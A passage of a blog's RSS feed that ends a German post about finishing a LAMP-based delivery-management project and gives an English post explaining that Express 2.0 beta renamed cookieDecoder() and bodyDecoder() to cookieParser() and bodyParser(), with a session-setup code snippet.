<li>Cron-Jobs für Bestellung bei Lieferanten &amp; Billing-Schnittstelle zur Buchhaltung</li>
<li>Backend für die Mitarbeiter, in dem Auslieferungen für den Kunden protokolliert werden.</li>
<li>Planung der Lieferroute mit Google Maps.</li>
</ul>
<p>Realisiert wurde das ganze individuell und <em>from scratch</em> in Linux, Apache, MySQL, PHP5 (die alte LAMP-Kombination), da es nicht so schien als würde mir ein Framework viel Arbeit abnehmen können. Ich griff mal wieder zu PHP, weil viele Klassen wiederverwendet werden konnten und meine <a href="http://blog.bf-itservice.de/427/node-js-mongodb-express-and-sessions-typeerror-object-has-no-method-bodydecoder">Node.js-Skills</a> für ein solches Projekt wahrscheinlich noch nicht wirklich effektiv einsetzbar sind.</p>
<p>Ich schließe nun mein kurzes Statusupdate mit den Worten von Manuel Diotte: <strong>“Winning isn&#8217;t always finishing first. Sometimes winning is just finishing.”</strong> <img src='http://blog.bf-itservice.de/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<img src="http://feeds.feedburner.com/~r/BenjaminFleschItServicesBlog/~4/KfaqAkOpAhI" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.bf-itservice.de/431/regiovelo-endlich-fertig/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		<feedburner:origLink>http://blog.bf-itservice.de/431/regiovelo-endlich-fertig</feedburner:origLink></item>
		<item>
		<title>Node.js, MongoDB, Express and Sessions: TypeError: Object #Object&gt; has no method ‘bodyDecoder’</title>
		<link>http://feedproxy.google.com/~r/BenjaminFleschItServicesBlog/~3/e-Tq0ILLX-Q/node-js-mongodb-express-and-sessions-typeerror-object-has-no-method-bodydecoder</link>
		<comments>http://blog.bf-itservice.de/427/node-js-mongodb-express-and-sessions-typeerror-object-has-no-method-bodydecoder#comments</comments>
		<pubDate>Mon, 14 Mar 2011 16:37:57 +0000</pubDate>
		<dc:creator>Beni</dc:creator>
				<category><![CDATA[Fehlerteufel]]></category>
		<category><![CDATA[Programmieren]]></category>
		<category><![CDATA[cookieDecoder()]]></category>
		<category><![CDATA[cookieParser()]]></category>
		<category><![CDATA[Express]]></category>
		<category><![CDATA[MongoDB]]></category>
		<category><![CDATA[No Method Error]]></category>
		<category><![CDATA[Node.js]]></category>

		<guid isPermaLink="false">http://blog.bf-itservice.de/?p=427</guid>
		<description><![CDATA[I just struggled with this error message whilst trying to set up some sort of authentication layer for a small node.js-powered web application with a MongoDB backend. This was my code to establish a MongoDB session handling. The TypeError: Object #&#60;Object&#62; has no method 'bodyDecoder' occurs in line 5 of the following snippet: 1 2 [...]]]></description>
			<content:encoded><![CDATA[<p>I just struggled with this error message whilst trying to set up some sort of <strong>authentication layer</strong> for a small node.js-powered web application with a MongoDB backend. This was my code to establish a MongoDB session handling. The <code>TypeError: Object #&lt;Object&gt; has no method 'bodyDecoder'</code> occurs in <strong>line 5</strong> of the following snippet:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
</pre></td><td class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #003366; font-weight: bold;">var</span> MongoStore <span style="color: #339933;">=</span> require<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'connect-mongodb'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
app.<span style="color: #003366; font-weight: bold;">use</span><span style="color: #009900;">&#40;</span>express.<span style="color: #660066;">logger</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#123;</span> format<span style="color: #339933;">:</span> <span style="color: #3366CC;">':method :url'</span><span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
app.<span style="color: #003366; font-weight: bold;">use</span><span style="color: #009900;">&#40;</span>express.<span style="color: #660066;">bodyParser</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
app.<span style="color: #003366; font-weight: bold;">use</span><span style="color: #009900;">&#40;</span>express.<span style="color: #660066;">methodOverride</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
app.<span style="color: #003366; font-weight: bold;">use</span><span style="color: #009900;">&#40;</span>express.<span style="color: #660066;">cookieDecoder</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #006600; font-style: italic;">// &lt;= runtime error appears here</span>
app.<span style="color: #003366; font-weight: bold;">use</span><span style="color: #009900;">&#40;</span>express.<span style="color: #660066;">session</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#123;</span>
	secret<span style="color: #339933;">:</span> settings.<span style="color: #660066;">cookie_secret</span><span style="color: #339933;">,</span>
	store<span style="color: #339933;">:</span> <span style="color: #003366; font-weight: bold;">new</span> MongoStore<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#123;</span>
		db<span style="color: #339933;">:</span> settings.<span style="color: #660066;">db</span>
	<span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>After some investigation I found out that in <strong>Express  2.0.0beta3</strong>, the function <code>cookieDecoder()</code> has been renamed to <code>cookieParser()</code>; the same comes true for <code>bodyDecoder()</code> which now needs to be called as <code>bodyParser()</code>. At least now I know why some of the example code failed <img src='http://blog.bf-itservice.de/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<img src="http://feeds.feedburner.com/~r/BenjaminFleschItServicesBlog/~4/e-Tq0ILLX-Q" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.bf-itservice.de/427/node-js-mongodb-express-and-sessions-typeerror-object-has-no-method-bodydecoder/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		<feedburner:origLink>http://blog.bf-itservice.de/427/node-js-mongodb-express-and-sessions-typeerror-object-has-no-method-bodydecoder</feedburner:origLink></item>
	</channel>
</rss>

